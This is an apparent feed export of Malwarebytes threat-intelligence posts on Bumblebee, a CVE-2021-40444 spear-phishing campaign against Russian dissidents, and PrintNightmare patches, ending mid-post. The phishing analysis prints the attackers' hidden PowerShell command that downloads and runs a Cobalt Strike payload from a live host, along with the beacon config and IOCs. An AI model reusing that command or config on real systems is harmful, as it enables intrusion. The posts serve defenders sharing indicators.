**BUMBLEBEE** ISO samples:\n\n * 9eacade8174f008c48ea57d43068dbce3d91093603db0511467c18252f60de32\n * 6214e19836c0c3c4bc94e23d6391c45ad87fdd890f6cbd3ab078650455c31dc8\n * 201c4d0070552d9dc06b76ee55479fc0a9dfacb6dbec6bbec5265e04644eebc9\n * 1fd5326034792c0f0fb00be77629a10ac9162b2f473f96072397a5d639da45dd\n * 01cc151149b5bf974449b00de08ce7dbf5eca77f55edd00982a959e48d017225\n\n**IP** address of the [C&C server](<https://blog.malwarebytes.com/glossary/cc/>):\n\n * 23.81.246.187\n\nStay safe, everyone!\n\nThe post [Meet Exotic Lily, access broker for ransomware and other malware peddlers](<https://blog.malwarebytes.com/threat-spotlight/2022/03/meet-exotic-lily-access-broker-for-ransomware-and-other-malware-peddlers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-18T22:58:48", "type": "malwarebytes", "title": "Meet Exotic Lily, access broker for ransomware and other malware peddlers", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-03-18T22:58:48", "id": "MALWAREBYTES:F1563A57212EB7AEC347075E94FF1605", "href": "https://blog.malwarebytes.com/threat-spotlight/2022/03/meet-exotic-lily-access-broker-for-ransomware-and-other-malware-peddlers/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-31T15:44:27", "description": "_This blog post was authored by Hossein Jazi._\n\n-- _Updated to clarify the two different campaigns (Cobalt Strike and Rat)_\n\nSeveral threat actors have taken advantage of the war in Ukraine to launch a number of cyber attacks. The Malwarebytes Threat Intelligence team is actively monitoring these threats and has observed activities associated with the geopolitical conflict.\n\nMore specifically, we've witnessed several APT actors such as [Mustang Panda](<https://twitter.com/h2jazi/status/1501198521139175427>), [UNC1151](<https://twitter.com/h2jazi/status/1500607147989684224>) and [SCARAB](<https://twitter.com/h2jazi/status/1505887653111209994>) that have used war-related themes to target mostly Ukraine. We've also observed several different [wipers](<https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/>) and cybercrime groups such as [FormBook](<https://blog.malwarebytes.com/threat-intelligence/2022/03/formbook-spam-campaign-targets-citizens-of-ukraine%EF%B8%8F/>) using the same tactics. Beside those known groups we saw an [actor](<https://twitter.com/h2jazi/status/1501941517409083397>) that used multiple methods to deploy a variants of Quasar Rat. These methods include using documents that exploit CVE-2017-0199 and CVE-2021-40444, macro-embedded documents, and executables. \n\nOn March 23, we identified a new campaign that instead of targeting Ukraine is focusing on Russian citizens and government entities. Based on the email content it is likely that the threat actor is targeting people that are against the Russian government.\n\nThe spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid. Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.\n\n## Spear phishing as the main initial infection vector\n\nThese emails pretend to be from the "Ministry of Digital Development, Telecommunications and Mass Communications of the Russian Federation" and "Federal Service for Supervision of Communications, Information Technology and Mass Communications" of Russia.\n\nWe have observed two documents associated with this campaign that both exploit CVE-2021-40444. Even though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability. Also the actor leveraged a new variant of this exploit called CABLESS in this attack. [Sophos](<https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/>) has reported an attack that used a Cabless variant of this exploit but in that case the actor has not used the RTF file and also used RAR file to prepend the WSF data to it.\n\n * **Email with RTF file: **\n * _\u0424\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u043e \u043d\u0430\u0434\u0437\u043e\u0440\u0443 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0441\u0432\u044f\u0437\u0438, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439_ (Federal Service for Supervision of Communications, Information Technology and Mass Communications)\n * _\u041f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435! \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f, \u0441\u0432\u044f\u0437\u0438 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438_ (A warning! Ministry of Digital Development, Telecommunications and Mass Media of the Russian Federation)\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish1-2.png> \"\" )Figure 1: Phishing template\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish2.png> \"\" )Figure 2: Phishing template \n\n * **Email with archive file:**\n * _\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430\u0441\u0435\u043b\u0435\u043d\u0438\u044f \u043e\u0431 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u0445 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439, \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0441\u0430\u043d\u043a\u0446\u0438\u0439 \u0438 \u0443\u0433\u043e\u043b\u043e\u0432\u043d\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435_. (informing the public about critical changes in the field of digital technologies, services, sanctions and criminal liability for their use.)\n * _\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435! \u0418\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f, \u0441\u0432\u044f\u0437\u0438 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438_ (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation)\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish4.png> \"\" )Figure 3: Phishing template \n\n * **Email with link:**\n * _\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435! \u0418\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f, \u0441\u0432\u044f\u0437\u0438 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438_ (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation)\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/phish3.png> \"\" )Figure 4: phishing template \n\n## Victimology\n\nThe actor has sent its spear phishing emails to people that had email with these domains: \n\n_mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru, mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru, 66.fskn.gov.ru, bk.ru, ukr.net_\n\nBased on these domains, here is the list of potential victims:\n\n * Portal of authorities of the Chuvash Republic Official Internet portal\n * Russian Ministry of Internal Affairs\n * ministry of education and science of the republic of Altai \n * Ministry of Education of the Stavropol Territory\n * Minister of Education and Science of the Republic of North Ossetia-Alania\n * Government of Astrakhan region \n * Ministry of Education of the Irkutsk region \n * Portal of the state and municipal service Moscow region \n * Ministry of science and higher education of the Russian Federation\n\n## Analysis:\n\nThe lures used by the threat actor are in Russian language and pretend to be from Russia's "Ministry of Information Technologies and Communications of the Russian Federation" and "MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS COMMUNICATIONS". One of them is a letter about limitation of access to Telegram application in Russia. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/russia.png> \"\" )Figure 5: Lure letter\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/cveblock.png> \"\" )Figure 6: Lure template\n\n \nThese RTF files contains an embedded url that downloads an html file which exploits the vulnerability in the MSHTML engine. \n`http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html`\n\nThe html file contains a script that executes the script in WSF data embedded in the RTF file. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-2.37.47-PM.png> \"\" )Figure 7: html file\n\n \nThe actor has added WSF data (Windows Script Host) at the start of the RTF file. As you can see from figure 8, WSF data contains a JScript code that can be accessed from a remote location. In this case this data has been accessed using the downloaded html exploit file. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/Screen-Shot-2022-03-25-at-1.43.00-PM.png> \"\" )Figure 8: WSF data\n\nExecuting this scripts leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victim's machine. (The deployed CobaltStrike file name is Putty) \n \n \n \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -windowstyle hidden $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe' -OutFile $env:TEMP\\putty.exe; . $env:TEMP\\putty.exe; Start-Sleep 15\n\nThe following shows the CobaltStrike config:\n \n \n {\n \"BeaconType\": [\n \"HTTPS\"\n ],\n \"Port\": 443,\n \"SleepTime\": 38500,\n \"MaxGetSize\": 1398151,\n \"Jitter\": 27,\n \"C2Server\": \"wikipedia-book.vote,/async/newtab_ogb\",\n \"HttpPostUri\": \"/gen_204\",\n \"Malleable_C2_Instructions\": [\n \"Remove 17 bytes from the end\",\n \"Remove 32 bytes from the beginning\",\n \"Base64 URL-safe decode\"\n ],\n \"SpawnTo\": \"/4jEZLD/DHKDj1CbBvlJIg==\",\n \"HttpGet_Verb\": \"GET\",\n \"HttpPost_Verb\": \"POST\",\n \"HttpPostChunk\": 96,\n \"Spawnto_x86\": \"%windir%\\\\syswow64\\\\gpupdate.exe\",\n \"Spawnto_x64\": \"%windir%\\\\sysnative\\\\gpupdate.exe\",\n \"CryptoScheme\": 0,\n \"Proxy_Behavior\": \"Use IE settings\",\n \"Watermark\": 1432529977,\n \"bStageCleanup\": \"True\",\n \"bCFGCaution\": \"True\",\n \"KillDate\": 0,\n \"bProcInject_StartRWX\": \"True\",\n \"bProcInject_UseRWX\": \"False\",\n \"bProcInject_MinAllocSize\": 16700,\n \"ProcInject_PrependAppend_x86\": [\n \"kJCQ\",\n \"Empty\"\n ],\n \"ProcInject_PrependAppend_x64\": [\n \"kJCQ\",\n \"Empty\"\n ],\n \"ProcInject_Execute\": [\n \"ntdll.dll:RtlUserThreadStart\",\n \"SetThreadContext\",\n \"NtQueueApcThread-s\",\n \"kernel32.dll:LoadLibraryA\",\n \"RtlCreateUserThread\"\n ],\n \"ProcInject_AllocationMethod\": \"NtMapViewOfSection\",\n \"bUsesCookies\": \"True\",\n \"HostHeader\": \"\"\n }\n\n## Similar lure used by another actor\n\nWe also have identified activity by another actor that uses a similar lure as the one used in the previously mentioned campaign. This activity is potentially related to [Carbon Spider](<https://www.virustotal.com/gui/domain/swordoke.com/community>) and uses "_\u0424\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u043e \u043d\u0430\u0434\u0437\u043e\u0440\u0443 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0441\u0432\u044f\u0437\u0438, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439_" (Federal Service for Supervision of Communications, Information Technology and Mass Communications) of Russia as a template. In this case, the threat actor has deployed a PowerShell-based Rat. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/block-doc1.png> \"\" )Figure 9: template\n\nThe dropped PowerShell script is obfuscated using a combination of Base64 and custom obfuscation. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-dropped.png> \"\" )Figure 10: Dropped PS script\n\nAfter deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell based Rat has the capability to get the next stage payload and execute it. The next stage payload can be one of the following file types:\n\n * JavaScript\n * PowerShell\n * Executable\n * DLL\n\nAll of Its communications with its server are in Base64 format. This Rat starts its activity by setting up some configurations which include the C2 url, intervals, debug mode and a parameter named group that initialized with "Madagascar" which probably is another alias of the actor. \n\nAfter setting up the configuration, it calls the "Initialize-Engine" function. This function collects the victim's info including OS info, Username, Hostname, Bios info and also a host-domain value that shows if the machine in a domain member or not. It then appends all the collected into into a string and separate them by "|" character and at the end it add the group name and API config value. The created string is being send to the server using _Send-WebInit_ function. This function adds "INIT%%%" string to the created string and base64 encodes it and sends it to the server. \n\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/ps-deobfuscated.png> \"\" )Figure 11: PowerShell Rat\n\nAfter performing the initialization, it goes into a loop that keeps calling the "Invoke-Engine" function. This function checks the incoming tasks from the server, decodes them and calls the proper function to execute the incoming task. If there is no task to execute, it sends "GETTASK%%" in Base64 format to its server to show it is ready to get tasks and execute them. The "IC" command is used to delete itself.\n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/invoke-task.png> \"\" )Figure 12: Invoke task\n\nThe result of the task execution will be send to the server using "PUTTASK%%" command. \n\n## Infrastructure\n\nThe following shows the infrastructure used by this actor highlighting that the different lures are all connected. \n\n[](<https://blog.malwarebytes.com/wp-content/uploads/2022/03/undefined.png> \"\" )Figure 12: Infrastructure \n\nThe Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the Ukraine war. We are protecting our customers and sharing additional indicators of compromise.\n\n## IOCs\n\n**RTF files host domain: ** \ndigital-ministry[.]ru \n**RTF files:** \nPKH telegram.rtf \nb19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e \nPKH.rtf \n38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20 \n**MSHTML exploit: ** \nwallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html \n4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c \n**CobaltStrike Download URL:** \nwallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe \n**CobaltStrike:** \nPutty.exe \nd4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d \n**CobaltStrike C2:** \nwikipedia-book[.]vote/async/newtab_ogb \n**Macro based maldoc: \n**c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28 \n**PowerShell based RAT:** \n9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0** \nPowerShell Rat C2:** \nswordoke[.]com** \n** \n \n\n\n \n\n\nThe post [New spear phishing campaign targets Russian dissidents](<https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-29T18:02:48", "type": "malwarebytes", "title": "New spear phishing campaign targets Russian dissidents", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2021-40444"], "modified": "2022-03-29T18:02:48", "id": "MALWAREBYTES:FC8647475CCD473D01B5C0257286E101", "href": "https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-14T12:38:34", "description": "Last week we wrote about [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>), a vulnerability that was supposed to be patched but wasn't. After June's Patch Tuesday, researchers found that the patch did not work in every case, most notably on modern domain controllers. Yesterday, Microsoft issued a set of out-of-band patches that sets that aims to set that right by fixing the Windows Print Spooler Remote Code Execution vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n### Serious problem\n\nFor Microsoft to publish an out-of-band patch a week before July's Patch Tuesday shows just how serious the problem is.\n\nPrintNightmare allows a standard user on a Windows network to execute arbitrary code on an affected machine, and to elevate their privileges as far as domain admin, by feeding a vulnerable machine a malicious printer driver. The problem was exacerbated by confusion around whether PrintNightmare was a known, patched problem or an entirely new problem. In the event it turned out to be a bit of both.\n\nLast week the Cybersecurity and Infrastructure Security Agency (CISA) urged administrators to [disable the Windows Print Spooler service](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) in domain controllers and systems that don't print.\n\nHowever, the installation of the Domain Controller (DC) role adds a thread to the spooler service that is responsible for removing stale print queue objects. If the spooler service is not running on at least one domain controller in each site, then Active Directory has no means to remove old queues that no longer exist.\n\nSo, many organizations were forced to keep the Print Spooler service enabled on some domain controllers, leaving them at risk to attacks using this vulnerability.\n\n### Set of patches\n\nDepending on the Windows version the patch will be offered as:\n\n * [KB5004945](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 2004, version 20H1, and version 21H1\n * [KB5004946](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004946-os-build-18363-1646-out-of-band-18c5ffac-6015-4b3a-ba53-a73c3d3ed505>) for Windows 10 version 1909\n * [KB5004947](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 1809 and Windows Server 2019\n * KB5004949 for Windows 10 version 1803 which is not available yet\n * [KB5004950](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004950-os-build-10240-18969-out-of-band-7f900b36-b3cb-4f5e-8eca-107cc0d91c50>) for Windows 10 version 1507\n * Older Windows versions (Windows 7 SP1, Windows 8.1 Server 2008 SP2, Windows Server 2008 R2 SP1, and Windows Server 2012 R2) will receive a security update that disallows users who are not administrators to install only signed print drivers to a print server.\n\nSecurity updates have not yet been released for Windows 10 version 1607, Windows Server 2016, or Windows Server 2012, but they will also be released soon, according to Microsoft.\n\nThe updates are cumulative and contain all previous fixes as well as protections for [CVE-2021-1675](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675>).\n\n### Not a complete fix\n\nIt is important to note that these patches and updates **only tackle the remote code execution (RCE) part** of the vulnerability. Several researchers have confirmed that the local privilege escalation (LPE) vector still works. This means that threat actors and already active malware can still locally exploit the vulnerability to gain SYSTEM privileges.\n\n### Advice\n\nMicrosoft recommends that you install this update immediately on all supported Windows client and server operating systems, starting with devices that currently host the print server role. You also have the option to configure the `RestrictDriverInstallationToAdministrators` registry setting to prevent non-administrators from installing signed printer drivers on a print server. See [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for more details.\n\n> \u201cThe attack vector and protections in CVE-2021-34527 reside in the code path that installs a printer driver to a Server. The workflow used to install a printer driver from a trusted print server on a client computer uses a different path. In summary, protections in CVE-2021-34527 including the RestrictDriverInstallationToAdministrators registry key do not impact this scenario.\u201d\n\nCISA encourages users and administrators to review the Microsoft Security Updates as well as CERT/CC Vulnerability Note [VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds.\n\n### Impact of the updates\n\nSo, the vulnerability lies in the normal procedure that allows users to install a printer driver on a server. A printer driver is in essence an executable like any other. And allowing users to install an executable of their choice is asking for problems. Especially combined with a privilege escalation vulnerability that anyone can use to act with SYSTEM privileges. The updates, patches, and some of the workarounds are all designed to limit the possible executables since they need to be signed printer drivers.\n\nFor a detailed and insightful diagram that shows GPO settings and registry keys administrators can check whether their systems are vulnerable, have a look at this flow chart diagram, courtesy of [Will Dormann](<https://twitter.com/wdormann>).\n\n> This is my current understanding of the [#PrintNightmare](<https://twitter.com/hashtag/PrintNightmare?src=hash&ref_src=twsrc%5Etfw>) exploitability flowchart. \nThere's a small disagreement between me and MSRC at the moment about UpdatePromptSettings vs. NoWarningNoElevationOnUpdate, but I think it doesn't matter much as I just have both for now. [pic.twitter.com/huIghjwTFq](<https://t.co/huIghjwTFq>)\n> \n> -- Will Dormann (@wdormann) [July 7, 2021](<https://twitter.com/wdormann/status/1412906574998392840?ref_src=twsrc%5Etfw>)\n\n### Information for users that applied 0patch\n\nIt is worth mentioning for the users that applied the PrintNightmare [micropatches by 0patch](<https://blog.0patch.com/2021/07/free-micropatches-for-printnightmare.html>) that according to 0patch it is better not to install the Microsoft patches. They posted on Twitter that the Microsoft patches that only fix the RCE part of the vulnerability disable the 0patch micropatch which fixes both the LPE and RCE parts of the vulnerability.\n\n> If you're using 0patch against PrintNightmare, DO NOT apply the July 6 Windows Update! Not only does it not fix the local attack vector but it also doesn't fix the remote vector. However, it changes localspl.dll, which makes our patches that DO fix the problem stop applying. <https://t.co/osoaxDVCoB>\n> \n> -- 0patch (@0patch) [July 7, 2021](<https://twitter.com/0patch/status/1412826130051174402?ref_src=twsrc%5Etfw>)\n\n### Update July 9, 2021\n\nOnly a little more than 12 hours after the release a researcher has found an exploit that works on a patched system under special circumstances. [Benjamin Delpy](<https://twitter.com/gentilkiwi?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1412771368534528001%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Farstechnica.com%2Fgadgets%2F2021%2F07%2Fmicrosofts-emergency-patch-fails-to-fix-critical-printnightmare-vulnerability%2F>) showed an exploit working against a Windows Server 2019 that had installed the out-of-band patch. In a demo Delpy shows that the update fails to fix vulnerable systems that use certain settings for a feature called [point and print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>), which makes it easier for network users to obtain the printer drivers they need.\n\nIn Microsoft's defense the advisory for [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) contains a note in the FAQ stating that:\n\n> Point and Print is not directly related to this vulnerability, but certain configurations make systems vulnerable to exploitation.\n\n### Update July 14, 2021\n\nThe Cybersecurity and Infrastructure Security Agency\u2019s (CISA) has issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it is aware of active exploitation, by multiple threat actors, of the PrintNightmare vulnerability. \n\nCISA has determined that this vulnerability poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action. The actions CISA lists are required actions for the agencies. The determination that these actions are necessary is based on the current exploitation of this vulnerability by threat actors in the wild, the likelihood of further exploitation of the vulnerability, the prevalence of the affected software in the federal enterprise, and the high potential for a compromise of agency information systems. Exploitation of the vulnerability allows an attacker to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization. \n\nThe post [UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-07T14:17:31", "type": "malwarebytes", "title": "UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T14:17:31", "id": "MALWAREBYTES:DB34937B6474073D9444648D34438225", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T08:32:20", "description": "In a rush to be the first to publish a proof-of-concept (PoC), researchers have published a write-up and a demo exploit to demonstrate a vulnerability that has been dubbed PrintNightmare. Only to find out they had alerted the world to a new 0-day vulnerability by accident.\n\n### What happened?\n\nIn June, Microsoft patched a vulnerability in the Windows Print Spooler that was listed as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>). At first it was classified as an elevation of privilege (EoP) vulnerability. Which means that someone with limited access to a system could raise their privilege level, giving them more power over the affected system. This type of vulnerability is serious, especially when it is found in a widely used service like the Windows Print Spooler. A few weeks after the patch Microsoft raised the level of seriousness to a remote code execution (RCE) vulnerability. RCE vulnerabilities allow a malicious actor to execute their code on a different machine on the same network.\n\nAs per [usual](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/06/microsoft-fixes-seven-zero-days-including-two-puzzlemaker-targets-google-fixes-serious-android-flaw/>), the general advice was to install the patches from Microsoft and 